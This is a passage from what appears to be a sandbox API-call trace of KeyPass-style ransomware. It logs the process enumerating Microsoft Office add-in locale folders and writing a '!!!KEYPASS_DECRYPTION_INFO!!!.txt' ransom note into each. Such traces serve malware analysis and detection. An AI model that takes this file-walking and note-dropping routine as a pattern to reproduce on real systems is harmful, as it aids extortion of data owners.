Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0253.053] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.054] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0253.054] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.054] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0253.054] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.054] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0253.054] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.054] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0253.054] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.054] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0253.054] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.054] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0253.054] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.054] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0253.054] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.054] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0253.054] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.054] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0253.054] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.054] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0253.054] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.054] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0253.054] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.054] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0253.054] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.054] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0253.054] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.055] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0253.055] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.055] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0253.055] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.055] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0253.055] FindNextFileW (in: hFindFile=0x39876f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0253.055] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0253.055] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0253.055] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0253.056] GetLastError () returned 0x3f0 [0253.056] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0253.056] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0253.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0253.084] GetFileType (hFile=0x894) returned 0x1 [0253.084] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0253.085] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0253.085] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0253.085] WriteFile (in: hFile=0x894, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0253.085] WriteFile (in: hFile=0x894, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0253.085] CloseHandle (hObject=0x894) returned 1 [0253.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39874f8 [0253.086] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.137] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.137] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0253.137] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.137] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\LocalizedStrings.xml") returned=".xml" [0253.137] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.137] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0253.137] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.137] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0253.137] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.137] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0253.137] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.137] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0253.137] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.137] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0253.137] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.138] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0253.138] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.138] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0253.138] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.138] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0253.138] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.138] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0253.138] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.138] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0253.138] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.138] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0253.138] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.138] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0253.138] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.138] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0253.138] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.138] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0253.138] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.138] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0253.138] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.138] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0253.138] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.138] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0253.138] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.138] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0253.139] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.139] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0253.139] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.139] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0253.139] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.139] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0253.139] FindNextFileW (in: hFindFile=0x39874f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0253.139] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0253.139] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0253.139] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0253.139] GetLastError () returned 0x3f0 [0253.139] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0253.139] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0253.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 [0253.143] GetFileType (hFile=0x898) returned 0x1 [0253.143] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0253.143] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0253.143] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0253.143] WriteFile (in: hFile=0x898, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0253.144] WriteFile (in: hFile=0x898, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0253.144] CloseHandle (hObject=0x898) returned 1 [0253.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987338 [0253.145] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.150] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.150] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0253.150] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.150] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml") returned=".xml" [0253.150] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.150] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0253.150] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.150] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0253.150] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.150] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0253.150] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.150] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0253.150] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.150] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0253.150] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.150] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0253.150] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.150] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0253.151] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.151] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0253.151] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.151] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0253.151] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.151] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0253.151] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.151] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0253.151] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.151] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0253.151] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.151] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0253.151] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.151] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0253.151] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.151] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0253.151] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.151] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0253.151] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.151] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0253.151] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.151] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0253.151] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.151] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0253.151] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.151] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0253.151] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.151] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0253.151] FindNextFileW (in: hFindFile=0x3987338, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0253.151] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0253.152] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0253.152] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0253.152] GetLastError () returned 0x3f0 [0253.152] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel 